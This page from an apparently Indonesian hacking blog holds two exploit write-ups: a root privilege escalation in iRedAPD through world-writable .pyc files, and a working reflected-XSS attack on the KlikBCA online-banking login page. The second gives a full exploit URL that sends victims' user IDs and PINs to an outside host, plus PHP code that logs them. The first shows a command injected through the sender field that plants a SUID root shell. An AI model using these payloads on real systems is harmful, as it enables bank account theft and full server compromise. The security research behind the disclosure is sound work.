Tampilkan postingan dengan label Advisory. Tampilkan semua postingan
Tampilkan postingan dengan label Advisory. Tampilkan semua postingan

iRedAPD root exploit [with video]

0 komentar
iRedAPD adalah salah satu komponen dari iRedMail yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di sini. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.

Vulnerability
Kesalahan utama disini adalah nilai umask yang kelewat longgar sehingga menciptakan file .pyc yang world-writable. Kesalahan ini diperparah lagi dengan iredapd yang menjalankan daemon by default sebagai user root.
Menjalankan iredapd sebagai root seharusnya tidak perlu karena daemon ini tidak membutuhkan resource apapun yang membutuhkan akses root. Prinsip “use least privilege” berguna dalam situasi ini. Memang menjalankan daemon sebagai root tidak secara langsung mengakibatkan vulnerability, namun bila terjadi vulnerability pada program, maka hasilnya akan menjadi fatal.
File /opt/iredapd/src/daemon.py mendefinisikan nilai UMASK = 0 (zero). Seperti yang kita tahu nilai umask di UNIX dipakai untuk menentukan permission terhadap file yang baru dibuat. Nilai umask 0 artinya file yang baru dibuat akan memiliki permission 666 (rw-rw-rw) atau 777 (rwxrwxrwx) untuk direktori.
Berikut ini adalah snippet file daemon.py yang mengandung nilai UMASK zero.
import logging
import os
import sys
 
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
 
# Default daemon parameters.
# File mode creation mask of the daemon.
UMASK = 0
 
# Default working directory for the daemon.
WORKDIR = "/"
 
# Default maximum for the number of available file descriptors.
MAXFD = 1024
Direktori /opt/iredapd/src/plugins/ mengandung file plugin yang akan diload oleh iredapd. Plugin ini akan dicompile oleh python menjadi file PYC (python compiled) ketika diload pertama kali. Dalam loading berikutnya python tidak perlu lagi membaca source .py, python akan langsung memakai file .pyc yang sudah dicompile sehingga loading berikutnya akan lebih cepat.
Lalu apa hubungannya plugin ini dengan umask? Dengan nilai umask zero, artinya ketika iredapd pertama kali meload file plugin, akan tercipta file .pyc yang memiliki permission world-writable 666 (rw-rw-rw). Dengan menimpa file .pyc dengan malicious file ditambah dengan daemon yang running as root, hacker bisa mendapatkan akses root di server tersebut.
Python Compiled
Ketika mengcompile file .py menjadi file .pyc, modification time dari file .py akan dicatat di header file .pyc dalam format EPOCH time. Ketika python akan meload suatu module, python akan melihat lagi timestamp yang ada di header file pyc. Bila modification time yang tercatat di header file .pyc tidak sama dengan modification time file .py, maka python akan mengabaikan file .pyc tersebut dan memilih memakai file .py yang belum dikompilasi.
Perhatikan contoh file pyc di bawah ini.
xxd ldap_maillist_access_policy.pyc |head -1
0000000: 6df2 0d0a 9938 484c 6300 0000 0000 0000  m....8HLc.......
4 byte pertama adalah magic number, dan diikuti oleh 4 byte berikutnya yang berisi modification time dari file .py. Nilai pada byte ke-4 s/d 7 adalah 0x9938484c yang dibaca sebagai 0x4c483899. Nilai tersebut adalah 1279801497 detik epoch yang berarti 22 Jul 2010 12:24:57 GMT atau 22 Juli 2010 19:24:57 dalam GMT+7. Jadi file .pyc ini adalah bentuk terkompilasi dari file .py yang dimodifikasi terakhir pada 22 juli 2010 19:24:57 GMT+7. Bila dilakukan “ls -l” terlihat bahwa file .py memang dimodifikasi terakhir pada waktu tersebut.
-rw-r--r-- 1 iredapd iredapd 3969 Jul 22 19:24 ldap_maillist_access_policy.py
Bila timestamp yang tercatat di header file .pyc tidak cocok dengan modification time dari file .py, maka file .pyc tersebut akan diabaikan. Jadi kita tidak bisa begitu saja menimpa file .pyc dengan file .pyc yang kita bikin sendiri, kita harus sesuaikan dulu 4 byte timestamp agar cocok dengan modification time file .py.
Sebelum menimpa pastikan 4 byte timestamp di header malicious .pyc harus sama dengan original .pyc
Creating Malicious PYC
File plugin yang saya jadikan contoh adalah ldap_maillist_access_policy.py. Agar mudah dalam membuat file malicious pyc, hacker bisa menginstall linux dengan iredapd di vmware sebagai test lab. Dalam box tersebut hacker memodifikasi file source plugin berekstensi .py dengan memasukkan 2 baris berikut:

Setelah file .py di test lab hacker ditambahkan 2 baris untuk mengeksekusi os command dari input field “sender”, maka selanjutnya file .py ini harus dicompile menjadi .pyc. Kita bisa memakai fungsi __import__ di python untuk mengcompile file .py menjadi .pyc. Perhatikan gambar di bawah ini.

Setelah berhasil di-import, maka otomatis tercipta file ldap_maillist_access_policy.pyc yang merupakan hasil kompilasi file ldap_maillist_access_policy.py.
Dalam video yang saya buat, saya tidak memakai cara ini untuk mengcompile, saya mentrigger iredapd untuk melakukan loading plugin yang otomatis akan mengcompile file .py menjadi .pyc. Kedua cara ini hasil akhirnya sama, yaitu tercipta file .pyc yang sudah disusupi malicious code.
Manipulating PYC Header Timestamp
Setelah hacker berhasil membuat malicious PYC, selanjutnya file ini harus ditimpa ke original PYC di server korban. Tapi sebelumnya byte ke-4 hingga byte ke-7 dari malicious pyc milik hacker harus disamakan dengan file pyc original. Saya memakai xxd untuk membaca 4 byte di header file pyc yang asli.
$ xxd -l 8 ldap_maillist_access_policy.pyc
0000000: 6df2 0d0a 9938 484c                      m....8HL
Dalam contoh di atas, nilai timestamp pyc yang asli adalah 0x4c483899. Timestamp di header file malicious pyc harus diganti menjadi 0x4c483899 agar sama dengan original pyc. Hexeditor apa saja bisa dipakai untuk mengubah 4 byte header file PYC. Tapi di sini saya memakai vim dikombinasikan dengan xxd. Lebih jelasnya cara memakai vim sebagai hex editor anda bisa lihat di videonya.
Setelah dipastikan file malicious pyc isi headernya sama dengan original pyc, maka file malicious pyc tersebut bisa dikopi menimpa file original pyc.
Executing command as root
Setelah malicous pyc berhasil menggantikan original pyc, selanjutnya harus menunggu iredapd di-restart agar file malicious pyc diload ke memori.
Mari kita asumsikan saja iredapd sudah direstart. Maka untuk mengeksekusi command kita harus berkomunikasi dengan iredapd yang listen di port 7777. Saya memakai command “nc localhost 777″ untuk berkomunikasi ke port 7777. Request yang saya kirim adalah seperti di bawah ini.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
request=smtpd_access_policy
protocol_state=RCPT
protocol_name=ESMTP
client_address=79.29.240.22
client_name=unknown
reverse_client_name=unknown
helo_name=telecomitalia.it
sender=/bin/cp /bin/bash /tmp;chmod 4755 /tmp/bash
recipient=dummy@google.com
recipient_count=0
queue_id=
instance=647f.4c558223.881a4.0
size=5866
etrn_domain=
stress=
sasl_method=
sasl_username=
sasl_sender=
ccert_subject=
ccert_issuer=
ccert_fingerprint=
encryption_protocol=
encryption_cipher=
encryption_keysize=0
Perhatikan bahwa field sender saya isi dengan “/bin/cp /bin/bash /tmp;chmod 4755 /tmp/bash”. Ingat bahwa malicious code yang saya sisipkan adalah os.system(smtpSessionData["sender"]), artinya isi dari field sender akan dieksekusi. Command yang saya masukkan adalah membuat file bash shell dengan permission SUID root. Artinya adalah ketika user biasa mengeksekusi “/tmp/bash -p”, maka otomatis orang tersebut menjadi root. Ini adalah teknik backdoor yang klasik hanya sekedar contoh.
Kesimpulan
Kesalahan pada program ini bukan pada kesalahan coding/programming, tapi kesalahan dalam menentukan nilai umask untuk menentukan permission file baru. Hanya karena satu baris kesalahan itu akibatnya ternyata fatal, sistem bisa dikuasai sepenuhnya oleh hacker.
Kesalahan kedua adalah pelanggaran terhadap prinsip “use least privilege”. iredapd ini dijalankan dengan user root sehingga vulnerability ini bisa berakibat didapatnya akses root oleh hacker. Seandainya iredapd ini dijalankan sebagai user biasa, maka vulnerability ini tidak bisa dieksploit sampai mendapatkan akses root, hacker tidak bisa melakukan privilege escalation dan tetap menjadi user biasa.
Dalam membuat program kita tidak hanya memperhatikan aspek secure programming saja. Kita harus memikirkan juga secure design. Pada saat desain sebelum masuk coding kita harus tentukan bagaimana konfigurasi, setting, permission, user access (perlukah dijalankan sebagai root?) yang paling secure untuk program yang kita buat. 

Watch The Video


Menjaring Password KlikBCA dengan XSS

0 komentar
Sudah baca majalah Underground Info ? Di majalah itu ada artikel yang ditulis oleh S’to tentang XSS di halaman login klikbca.com. Dalam tulisan ini saya bahas lebih jauh lagi dan saya berikan contoh exploit yang cukup berbahaya dari vulnerability yang ditemukan S’to di majalah tersebut.

Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.
Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.
Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.
The Vulnerability
xss bug
xss bug
Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script>
    var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (‘). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (‘). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);<!--
URL di atas menghasilkan source html berikut:
1
2
3
4
5
6
<script type="text/javascript">
    var err='TEST';alert(document.cookie);<!--'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>
Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):
klikbca3
Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.
Strategy and Tactics
Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:
  1. Meng-intercept klik tombol submit
  2. Mengirimkan user dan password ke server saya
  3. Mencatat user dan password di server saya
Intercepting Submit Button
Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.
1
2
3
<input type="Submit" value="LOGIN" name="value(Submit)"
onclick="javascript:return Login_Form_Validator(document.frmParam)"
onmouseover="this.style.cursor='hand'" />
Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.
var blnSubmitted = false;
function Login_Form_Validator( theForm ) {
 
  document.forms[0]['value(user_id)'].autocomplete = 'off';
  document.forms[0]['value(pswd)'].autocomplete = 'off';
 
  var blnResponse = false;
  if (blnSubmitted) {
    return false;
  }
 
  var strErrMsg = "";
  if( document.forms[0]['value(user_id)'].value == '') {
    alert("Silakan mengisi User ID anda/Please input your User ID");
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
  if( document.forms[0]['value(user_id)'].value.length>12) {
    alert("User ID/Password Anda salah / Your User ID/Password is Wrong");
    document.forms[0]['value(user_id)'].select();
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
 
  if(document.forms[0]['value(pswd)'].value == '') {
    alert("Silakan mengisi PIN anda/Please input your PIN");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
  if(document.forms[0]['value(pswd)'].value.length<6) {
    alert("PIN harus 6 Angka/PIN must be 6 digits");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
 
  //if(strErrMsg != '') {
  //  alert(strErrMsg);
  //  return false;
  //}
 
  //blnSubmitted =  confirm("Click OK to login.");
  if ( !blnSubmitted ) {
    blnSubmitted = true;
    blnResponse = true;
  }
 
  //if('< %= blnLogout %>'=='true')
 //blnResponse = false;
 
  return blnResponse;
}
Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.
Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.
Jadi URL untuk menjalankan taktik saya di atas adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--
URL tersebut menghasilkan source html berikut:
<script>
    var err='TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>
function overridden
function overridden
Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa mengisi username dan password. Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.
Sending username and password
Oke, sekarang ketika user mengklik submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.
Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:
<img src="http://www.ilmuhacking.com/testcapture.php" name="myimage" width="1" height="1">
Sedangkan variabel yang berisi username dan password adalah:
document.forms[0]['value(user_id)'].value
document.forms[0]['value(pswd)'].value
Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:
'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value
Selanjutnya saya harus membuat fungsi Login_Form_Validator mengubah atribut src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.
Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng-klik sekali lagi.
Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:
var abc=false;
function Login_Form_Validator(theForm {
    if (!abc) {
        document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php'+'?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value;
        abc = true;
        return false;
    }
}
Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--
URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan membuat link dengan anchor text di samarkan, seperti ini:

Klik di sini untuk login.
Bila kita coba isi dengan username:abc1234 dan password:123456. Maka pada klik pertama akan ada request GET ke URL berikut ini:
http://www.ilmuhacking.com/testcapture.php?userid=abc1234&passwd=123456
Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.
Saving User and Password
Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini saya gunakan URL www.ilmuhacking.com/testcapture.php
Saya menyimpan user dan password dalam file capture.txt. Kode PHP yang saya gunakan untuk menyimpan user dan password adalah sebagai berikut:
1
2
3
4
5
6
7
8
9
10
11
<?php
$file=fopen("capture.txt","a+");
$userid=$_GET["userid"];
$passwd=$_GET["passwd"];
$ipaddr=$_SERVER["REMOTE_ADDR"];
$now = date("Ymd H:i:s");
if (!empty($userid)) {
        fwrite($file,"$userid =&amp;gt; $passwd (at $now from $ipaddr)\n");
}
fclose($file);
?>
Kesimpulan
Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities
Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.